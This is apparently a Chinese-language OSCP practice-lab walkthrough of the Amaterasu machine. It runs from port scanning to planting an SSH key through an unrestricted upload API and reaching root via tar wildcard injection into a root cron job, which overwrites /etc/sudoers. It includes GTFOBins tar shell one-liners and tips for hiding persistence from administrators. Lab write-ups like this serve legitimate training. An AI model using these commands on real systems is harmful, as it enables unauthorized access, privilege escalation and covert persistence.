关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
官方网页打开靶机,此靶机目前暂未在https://www.vulnhub.com/ 有镜像文件,后续若官方给出,会在评论补充。连上VPN后测速自动设置MTU【踩坑总结】丝滑连接OffSec官方VPN的方法。
信息收集
# 靶机地址
192.168.222.249
# Kali攻击机地址
192.168.45.156
# 题目提示的用户凭证
alfredo
DriveMailLens774
扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.222.249 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249
sudo nmap --script=vuln -p$ports -Pn 192.168.222.249
扫描结果如下:
┌──(kali㉿kali)-[~/Desktop/Amaterasu]
└─$ echo $ports
21,22,111,139,443,445,2049,10000,25022,33414,40080
┌──(kali㉿kali)-[~/Desktop/Amaterasu]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.222.249
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:16 EDT
Nmap scan report for bogon (192.168.222.249)
Host is up (0.21s latency).
PORT STATE SERVICE
21/tcp open ftp
22/tcp closed ssh
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
2049/tcp closed nfs
10000/tcp closed snet-sensor-mgmt
25022/tcp open unknown
33414/tcp open unknown
40080/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 32.13 seconds
┌──(kali㉿kali)-[~/Desktop/Amaterasu]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:13 EDT
Nmap scan report for bogon (192.168.222.249)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.156
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp closed ssh
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
2049/tcp closed nfs
10000/tcp closed snet-sensor-mgmt
25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
|_ 256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
33414/tcp open http Werkzeug httpd 2.2.3 (Python 3.9.13)
|_http-server-header: Werkzeug/2.2.3 Python/3.9.13
|_http-title: 404 Not Found
40080/tcp open http Apache httpd 2.4.53 ((Fedora))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: My test page
|_http-server-header: Apache/2.4.53 (Fedora)
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 (92%), OpenWrt 22.03 (Linux 5.10) (92%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.68 seconds
FTP登录
Nmap扫描结果提示是可以弱密码登录FTP的,但是登录上去之后操作受限。
| FTP - system:
| STAT:
| FTP服务器状态:
|连接192.168.45.156
|以FTP方式登录
| TYPE: ASCII
|无会话带宽限制
|会话超时时间为300秒
|控制连接为明文
|数据连接为明文
|会话启动时客户端数为3
| vsFTPd 3.0.3安全、快速、稳定
|_状态结束
| FTP - Anonymous:允许匿名FTP登录(FTP代码230)
|_无法获取目录列表:TIMEOUT
也不能用题目给的提示信息登录。
网页信息
33414端口无法直接访问,40080端口可以打开。
没有有效信息,但是再次查看的Nmap的扫描结果,确定33414
端口是打开的,那么说明网页文件可能不是index.html
的形式打开就能看,要扫描一下找找隐藏文件。
扫描目录
中间VPN波动短了一次,重启后靶机地址变为192.168.203.249
,攻击机地址变为192.168.45.228
dirsearch -u http://192.168.203.249:33414 -x 302,403
# 或
gobuster dir -u http://192.168.203.249:33414/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -t 25 -o scan_report.txt -k --random-agent
"Python File Server REST API v2.5"
"Author: Alfredo Moroder"
"GET /help = List of the commands"
"GET /info : General Info"
"GET /help : This listing"
"GET /file-list?dir=/tmp : List of the files"
"POST /file-upload : Upload files"
/file-list?dir=/tmp
这个能目录遍历,能确定第一个flag文件的位置,但是不能看root下面的文件夹。
40080
端口火狐页面的网站地址。
FTP的配置文件?
但是只有目录遍历是不够的,如果想要查看文件就无法直接读取。所以,下一步还是要建立一个稳定的Shell。
建立稳定Shell
文件上传
从help
页面看到提示/file-upload
似乎可以上传文件,但是输入网页是无法访问的,四喜观察发现了,限定请求方式是只能POST,没有GET。
在终端使用curl来请求这个POST。
curl -X POST http://192.168.203.249:33414/file-upload
提示没有要上传的文件,说明是要带上文件参数运行的。
curl http://192.168.203.249:33414/file-upload -X POST -F "file=@本地文件路径"
提示需要文件名。
echo a > a.txt # 随便写点
curl http://192.168.203.249:33414/file-upload -X POST -F "file=@a.txt" -F "filename=aaa"
成功了,尝试别的文件行不行。发现只允许txt, pdf, png, jpg, jpeg, gif
这几种格式。
如果这个靶机用的php搭建的,那么我们现在可以上传图片马,改名成a.pnp
,然后在蚁剑中连接即可,或者直接上传一个php反弹的脚本。但是由于网页并没有使用PHP,所以这个方法行不通。尝试把文件传到别处,发现在/home/alfredo
文件夹下上传成功。
虽然说传不了图片马,但是/home/alfredo
可以读写的话,就可以传一个ssh密钥上去用于免密登录SSH。
生成密钥上传
-
生成密钥对
ssh-keygen
- 作用:生成公钥/私钥对(RSA 算法)
- 生成文件:
id_rsa
:私钥(客户端本地保存,绝不可泄露)id_rsa.pub
:公钥(上传到服务器)
-
设置私钥权限
chmod 600 id_rsa
- 作用:设置私钥文件仅当前用户可读写
- 原因:SSH 拒绝使用权限过大的私钥文件(>600)
-
创建授权文件
cp id_rsa.pub authorized_keys
- 作用:将公钥转为 SSH 认证格式
- 说明:
authorized_keys
文件存储所有被允许的公钥
-
备份授权文件
cp authorized_keys authorized_keys.txt
- 作用:创建公钥列表备份(可选步骤)
-
上传密钥
curl -i -L -X POST -H "Content-Type: multipart/form-data" -F "file=@/home/kali/Desktop/authorized_keys.txt" -F "filename=/home/alfredo/.ssh/authorized_keys" http://192.168.203.249:33414/file-upload curl http://192.168.203.249:33414/file-upload -X POST -F "file=@authorized_keys.txt" -F "filename=/home/alfredo/.ssh/authorized_keys"
将密钥传到服务器后就可以用密钥登录了。
-
使用密钥登录
ssh alfredo@192.168.203.249 -i id_rsa -p 25022
-i id_rsa
:指定私钥文件路径-p 25022
:指定非标准 SSH 端口
发现第一个Flag。
提权root
进入终端后发现不能sudo -l
,这里其实题目给了提示,Alfredo的密码是DriveMailLens774。但是这样就没意思了。还是尽量自己找其他能进root的方式。
上传小豌豆
老样子还是掏出小豌豆一顿梭哈。
wget https://ghfast.top/https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh
这里提示靶机的网络环境似乎是找不到github,问题不大,可以在本机下载后再用scp上传即可,或者在本机开启短暂的http网页,靶机请求下载即可。
使用开启网页下载的方式无法下载,换tmp目录也是下载很慢。
问题不大,还有Plan B,用SCP方式上传。
scp -i id_rsa -P 25022 linpeas.sh alfredo@192.168.203.249:/home/alfredo
内网信息收集
扫描发现日志文件中存在一个用root身份执行的备份脚本。
*/1 * * * * root /usr/local/bin/backup-flask.sh
pkexec 提权尝试
又可以用这个命令一键提权,但是提权失败了,因为 alfredo账户没有sudu权限,可执行命令里面页没有pkexec。
可以执行的命令。
发现alfredo账户原本的密钥,这里可以复制下来,然后悄咪咪删除我们传上去的临时密钥,以后用本尊密钥登录,神不知鬼不觉的。
# 从服务器下载文件
scp -i id_rsa -P 25022 alfredo@192.168.203.249:[远程文件] [本地路径]
后面没有发现有用的信息了,所以还是回到之前发现定时任务中。看一下这个命令的权限,我们能不能直接修改,看看他写了什么。
ls /usr/local/bin/backup-flask.sh -al
cat /usr/local/bin/backup-flask.sh
可以发现,对backup-flask.sh
文件,无法直接修改内容,因为alfredo账户对这个文件只有读和执行权限。而backup-flask.sh
脚本完成了三件事:
-
修改环境变量:
export PATH="/home/alfredo/restapi:$PATH"
把
/home/alfredo/restapi
目录添加到系统命令搜索路径的最前面,后续执行命令时,系统会优先在这个目录中查找可执行文件 -
切换工作目录:
cd /home/alfredo/restapi
进入 restapi 应用程序所在的目录
-
打包文件:
tar czf /tmp/flask.tar.gz *
将当前目录所有文件(
*
)压缩成 gzip 格式的 tar 包flask.tar.gz
存档,保存在/tmp
目录下,c
表示创建新压缩包,z
表示使用 gzip 压缩,f
指定输出文件名。
能利用的命令只有tar命令,另外两个命令在https://gtfobins.github.io/#搜不到相应的提权用法。
https://gtfobins.github.io/gtfobins/tar/,提权的具体原理见文末Tar提权详解
Tar提权
cd /home/alfredo/restapi
cat > payload.sh
echo 'alfredo ALL=(root) NOPASSWD: ALL' > /etc/sudoers
# 上面是开放所有权限,动作大,实际渗透中容易被发现
# 下面这个命令是只开放pkexec的无密码sudo执行权限,一般管理员不仔细查的话是发现不了的
echo 'alfredo ALL=(root) NOPASSWD: /usr/bin/pkexec' > /etc/sudoers
# 输入完按 Ctrl D结束即可保存
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
# 等待打包命令执行
# 用之前执行失败的提权方式再次提权
sudo pkexec /bin/sh # bash也行
sudo pkexec /bin/bash
# 如果开放的是全权限,直接进入即可。
sudo -l
sudo /bin/bash
知识点整理
🔑 SSH 密钥认证全流程(重要文件位置):
文件 | 位置 | 角色 | 权限要求 |
---|---|---|---|
私钥 id_rsa | 客户端 (您的电脑) | 认证身份 | chmod 600 (仅用户读写) |
公钥 id_rsa.pub | 服务端 ~/.ssh/authorized_keys | 授权认证 | 自动处理 |
授权文件 authorized_keys | 服务端 ~/.ssh/ 目录 | 公钥白名单 | chmod 600 |
⚠️ 安全注意事项:
-
私钥保护
- 私钥相当于密码,需妥善保管
- 禁用私钥:服务器上删除
authorized_keys
中对应公钥
-
服务器文件权限
chmod 700 ~/.ssh # 目录权限 chmod 600 ~/.ssh/authorized_keys # 授权文件权限
-
增强安全性
ssh-keygen -o -a 100 -t ed25519 # 使用更安全的ED25519算法
💡 密钥认证比密码更安全的原因:抗暴力破解、支持双因素认证(私钥+密码)、可撤销性强。
Tar提权详解
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
这个命令利用了 tar
命令的检查点功能来执行任意命令,最终会启动一个交互式的 shell(/bin/sh
)。下面是详细解释:
命令分解:
tar -cf /dev/null /dev/null # 基础归档操作
--checkpoint=1 # 设置检查点间隔
--checkpoint-action=exec=/bin/sh # 在每个检查点执行指定命令
逐步解释:
-
归档操作:
tar -cf /dev/null /dev/null
-c
:创建新归档-f /dev/null
:指定归档文件为系统空设备(写入的内容会被丢弃)/dev/null
:被归档的文件(同样是空设备)- 效果:实际上不产生任何文件,只是一个空操作
-
检查点设置:
--checkpoint=1
- 每处理 1 个文件 就触发一次检查点(默认是每 10 个记录触发)
-
检查点动作:
--checkpoint-action=exec=/bin/sh
- 在每次检查点触发时执行
/bin/sh
- 效果:当
tar
处理第一个(也是唯一一个)文件(/dev/null
)时立即启动一个 shell,这个Shell用哪个角色执行就是那个角色的权限。
- 在每次检查点触发时执行
⚠️ 安全风险:
这是著名的 tar 提权技术,常用于:
- 绕过受限环境获取完整 shell
- 当用户有权限执行 tar 时进行权限提升
- 反弹 shell 的技术变种
实际效果:
- 该命令会立即启动一个 交互式 shell(/bin/sh)
- 因为归档目标是 /dev/null,所以不生成任何实际文件
- 完整命令会在当前用户上下文执行
/bin/sh
典型攻击场景:
-
SUID 提权:
find / -perm -u=s -type f 2>/dev/null | grep tar # 如果返回 /bin/tar,则运行: /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
-
sudo 权限提升:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
-
容器逃逸:
在 Docker 容器内运行可直接获得宿主机 shell(若容器以特权模式运行)
Tar提权命令配合*通配符的用法
在本地kali中模拟靶机环境的restapi
文件夹,文件夹下原本存在33414
端口上的服务,主要是app.py
和 main.py
两个文件。
当backup-flask.sh
执行打包命令时,正常情况下,打包的是这两个py文件。
tar czf /tmp/flask.tar.gz *
但是当在文件夹下输入这两个命令,创建了两个空文件,实际上这两个文件里什么都没写,重要的是文件名,文件名就是提权的参数。
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
那么当运行 tar czf /tmp/flask.tar.gz *
这个命令时,通配符星号(*)意思是选取了文件夹下的所有文件,通配符星号(*)认为’–checkpoint=1’ 和’–checkpoint-action=exec=sh payload.sh’是两个文件,所以加入到命令中,此时通配符星号(*)代表的是:
app.py flask.tar.gz main.py payload.sh '--checkpoint=1' '--checkpoint-action=exec=sh payload.sh'
但是当执行tar命令时,tar会认为后面两个是参数,不是文件名。所以执行tar时就通过文件名玩文字游戏,把提权参数写成文件名,巧妙的通过通配符送入root的定时任务,让其代劳。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚